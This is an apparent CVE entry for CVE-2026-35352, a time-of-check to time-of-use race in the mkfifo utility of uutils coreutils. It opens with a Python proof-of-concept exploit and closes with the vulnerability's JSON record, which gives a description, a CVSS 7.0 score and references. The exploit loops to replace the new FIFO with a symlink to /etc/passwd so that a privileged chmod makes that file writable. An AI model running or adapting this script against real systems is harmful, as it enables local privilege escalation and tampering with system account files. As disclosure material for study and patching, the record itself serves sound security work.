CVE-2026-35352

#!/usr/bin/env python3 """ PoC for CVE-2026-35352: TOCTOU Race Condition in uutils coreutils mkfifo This script attempts to exploit the race condition between mkfifo creation and chmod. """ import os import time import sys # Configuration FIFO_NAME = "vuln_fifo" TARGET_FILE = "/etc/passwd" # Target file to modify permissions WORK_DIR = "/tmp/cve_2026_35352_poc" def setup(): """Create the working directory""" if not os.path.exists(WORK_DIR): os.makedirs(WORK_DIR) os.chdir(WORK_DIR) print(f"[*] Working in {WORK_DIR}") def exploit(): """ Simulates the race condition. Note: In a real scenario, this must be run concurrently with the vulnerable mkfifo process. The goal is to swap the FIFO with a symlink before chmod is called. """ print("[*] Starting race condition loop...") print("[*] Waiting for the vulnerable process (mkfifo) to create the FIFO...") attempts = 0 while attempts < 10000: try: # Check if FIFO exists and is not a symlink (the window of opportunity) if os.path.exists(FIFO_NAME) and not os.path.islink(FIFO_NAME): # Attempt to swap the file with a symlink to a privileged file os.remove(FIFO_NAME) os.symlink(TARGET_FILE, FIFO_NAME) print(f"[+] Attempt {attempts}: Swapped {FIFO_NAME} with symlink to {TARGET_FILE}") # Verify if the exploit was successful (check if target is writable) # This assumes the chmod 777 (or similar) happened on the target if os.access(TARGET_FILE, os.W_OK): print(f"[+] SUCCESS! {TARGET_FILE} is now writable.") return True # If it's already a symlink, reset it to allow the race to continue (simulation) elif os.path.islink(FIFO_NAME): os.remove(FIFO_NAME) except FileNotFoundError: pass except Exception as e: print(f"[-] Error: {e}") attempts += 1 time.sleep(0.0001) # Short sleep to reduce CPU usage print("[-] Failed to win race condition within the limit.") return False if __name__ == "__main__": if os.geteuid() != 0: print("[!] Warning: This exploit usually requires the victim process to run as root.") setup() exploit()

{"cve": {"id": "CVE-2026-35352", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:37.597", "lastModified": "2026-05-04T18:16:28.370", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) race condition exists in the mkfifo utility of uutils coreutils. The utility creates a FIFO and then performs a path-based chmod to set permissions. A local attacker with write access to the parent directory can swap the newly created FIFO for a symbolic link between these two operations. This redirects the chmod call to an arbitrary file, potentially enabling privilege escalation if the utility is run with elevated privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10020", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/5", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/6", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/uutils/coreutils/issues/10020", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}